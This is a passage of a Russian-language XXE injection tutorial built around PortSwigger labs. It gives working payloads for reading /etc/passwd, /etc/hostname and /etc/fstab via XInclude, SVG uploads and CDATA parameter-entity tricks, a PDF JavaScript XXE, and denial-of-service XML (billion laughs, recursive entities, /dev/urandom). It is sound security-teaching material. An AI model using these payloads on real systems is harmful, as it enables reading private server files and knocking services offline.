<xi:include parse="text" href="file:///etc/passwd"/></foo>
```
:::info
Лаборатория:
https://portswigger.net/web-security/xxe/lab-xinclude-attack
:::




---
## XXE через file upload
Некоторые приложения позволяют пользователям загружать файлы, которые затем обрабатываются на стороне сервера. Некоторые распространенные форматы файлов используют XML или содержат подкомпоненты XML. Примерами форматов на основе XML являются форматы офисных документов, такие как DOCX, и форматы изображений, такие как SVG.
---
### SVG
Приложение может разрешить пользователям загружать изображения и обрабатывать или проверять их на сервере после загрузки. Даже если приложение ожидает получить такой формат, как PNG или JPEG, используемая библиотека обработки изображений может поддерживать изображения SVG. Поскольку формат SVG использует XML, злоумышленник может отправить вредоносное изображение SVG и, таким образом, получить доступ к скрытой поверхности атаки для обнаружения уязвимостей XXE.
Можно создать svg-файл с таким содержимым:
```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;
</text>
</svg>
```
:::info
Лаборатория:
https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload
:::
1) Создаём svg файд с полезной нагрузкой выше:


2) Заходим на стенд и вниз под пост, и видим возможность оставлять комментарии с картинкми:

3) Заполняем формы и прикрепляем созданный svg файл:

4) Отправляем комментарий и возвращаемся обратно на пост:

5) Видим что-то интересное в картинке, поэтому открываем картинку отдельно:

6) И видим в картинке содержимое файла /etc/hostname

### DOCX
:::info
**CVE-2019-13358**
:::
Если кто не знал, то WORD файлы представляют из себя архив, который можно разархивировать:

Docx в основном представляет собой заархивированные xml-файлы. Самый интересный файл для нас - word/document.xml .
Чтобы провернуть XXE нужно модифицировать файлик document.xml:



После изменений нужно просто обновить WORD файл:

[ВОТ](https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf) и [ВОТ](https://doddsecurity.com/312/xml-external-entity-injection-xxe-in-opencats-applicant-tracking-system/) ссылки, в которых можно узнать побольше об этом.
### PDF
:::info
**CVE-2014-8452**
:::
В PDF также можно сделать XXE, путём вставки в PDF-документ следующего пэйлоада:
```
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj
```
[ВОТ](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html) ссылка, если интересно об этом узнать больше!
---
## DoS
XXE можно использовать не только для того, чтобы получать конфиденциальные данные, с помощью неё можно также делать DoS-атаки:
- **Recursive**
```
<!DOCTYPE data [
<!ENTITY a "a&b;">
<!ENTITY b "&a;">
]>
<someData>&a;</someData>
```
Бесконечная ссылка сущностей на друг друга.
- **Billion laughs**
```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY hifi "hifi">
<!ENTITY hifi1 "&hifi;&hifi;&hifi;">
<!ENTITY hifi2 "&hifi1;&hifi1;&hifi1;">
<!ENTITY hifi3 "&hifi2;&hifi2;&hifi2;">
]>
<someData>&hifi3;</someData>
```
Здесь происходит эффект лавины, который может заставить сервер зависнуть.
- **Read local devies**
:::warning
**/dev/urandom**
Файл, содержащий функционал по генерации случайных чисел. Можно заставить сервер постоянно читать этот файл, из-за чего он может зависнуть - DoS
**/dev/zero**
Cпециальный файл в UNIX-подобных системах, представляющий собой источник нулевых байтов. При чтении этого файла никогда не достигается его конец - DoS, так как может зависнуть
:::
```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe1 SYSTEM "file:///dev/urandom">
<!ENTITY xxe2 SYSTEM "file:///dev/zero">
]>
<someData>&xxe1;&xxe2;</someData>
```
[ВОТ](https://www.youtube.com/watch?v=8-dyEhTtVrM&t=2040s) ссылка на доклад по XXE, откуда я взял про DoS!
---
# Как ещё можно найти XXE?
## Изменение типа контента
В большинстве запросов POST используется Content-Type application/x-www-form-urlencoded. Некоторые веб-сайты ожидают получать запросы в этом формате, но допускают другие типы контента, включая XML.
Например, если обычный запрос содержит следующее:
```
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
Но это не значит, что нельзя изменить Content-Type на xml и отправить запрос:
```
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
Возможно сервер не отклонит запрос и вы сможете использовать XXE.
---
## Файлы конфигурации в веб-приложениях
Иногда на сайтах есть возможность загружать файлы конфигурации, например, чтобы настроить механизм отбора данных. Если вы видите, что файл конфигурации построен на XML - вы знаете что делать;)
---
# Маленькое дополнение:3
Ранее я рассказывал об одном ограничении XML, а именно то, что нельзя вытащить через URL содержимое файла, если в нём есть символ `\n`. Это не одно ограничение, с которым можно столкнуться:)
Давайте посмотрим на один очень интересный файл:
:::warning
**/etc/fstab**
Файл fstab(5) используется для настройки параметров монтирования различных блочных устройств, разделов на диске и удаленных файловых систем.
:::
Внутри он выглядит как-то так:

Обратите особое внимание на 1 строчку:

Там есть комментаий, который содержит символы `<` и `>`. По-хорошему, их нужно игнорировать, но XML-парсер выкинет ошибку, когда встретит эти символы. И вроде можно тогда не пытаться выводить такие файлы, а искать другие, но порой всё же нужно/хочется их прочитать. Чтобы читать такие файлы без проблем можно использовать:
:::info
**CDATA (Character DATA)**
Это специальный синтаксис, который умеет работать с такими "ломающими" парсер символами.
:::
Всё, что находится в CDATA не будет парситься, а будет отображаться как просто строка:
`<![CDATA[ <text> ]]>`
И по идее мы можем сделать примерно следующую конструкцию, чтобы обработать /etc/fstab:
```
<?xml version="1"?>
<!DOCTYPE data[
<!ENTITY start "<![CDATA[">
<!ENTITY file SYSTEM "file:///etc/fstab">
<!ENTITY end "]]>">
]>
<data>&start;&file;&end;</data>
```
Мы просто разбиваем CDATA на части, и потом соединяем НАЧАЛО_CDATA + содержание_сложного_файла + КОНЕЦ_CDATA. И в рузельтате это всё выглядит как-то так:
`<data><![CDATA[ CONTENTS OF file:///etc/fstab ]]></data>`
Но, к сожалению, это не сработает, так как это нарушает спецификации XML. Мы просто берём и в лоб разбиваем CDATA на части, а потом соединяем. Нам нужно все эти куски сформировать корректно. А как это можно сделать? Правильно, используя Parameter сущности и внешние DTD:
```
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % wrapper "<!ENTITY all '%start;%file;%end;'>">
%wrapper;
```
И всё это преобразуется в:
```
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % wrapper "<!ENTITY all '%start;%file;%end;'>">
<!ENTITY all '<![CDATA[ CONTENTS OF file:///etc/fstab ]]>'>
```
И с помощью этого уже можно извлекать данные из таких "кривых" файлов:)
---
# Домашка(по желанию)
Это всё, что я хотел рассказать сегодня!
Для закрепления пройденного материала советую сделать следующее:
1) Прорешать [раздел XXE](https://portswigger.net/web-security/xxe) в PortSwigger'e;
2) Ответить что не так с этой XXE нагрузкой:
```
<?xml version="1.0"?>
<!DOCTYPE data[
<!ENTITY file SYSTEM "file:///etc/fstab">
&file;
]>
<data>23</data>
```
3) Ознакомиться с разделом [XXE в PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection).
4) Какая ещё DTD была доступна в лабе из раздела "Использование Blind XXE с локальным DTD"?
На этом у меня всё, спасибо за прочтение данного топика до конца, надеюсь вам было интересно и понятно!
Если есть вопросы - пишите в тг @ArroizX !
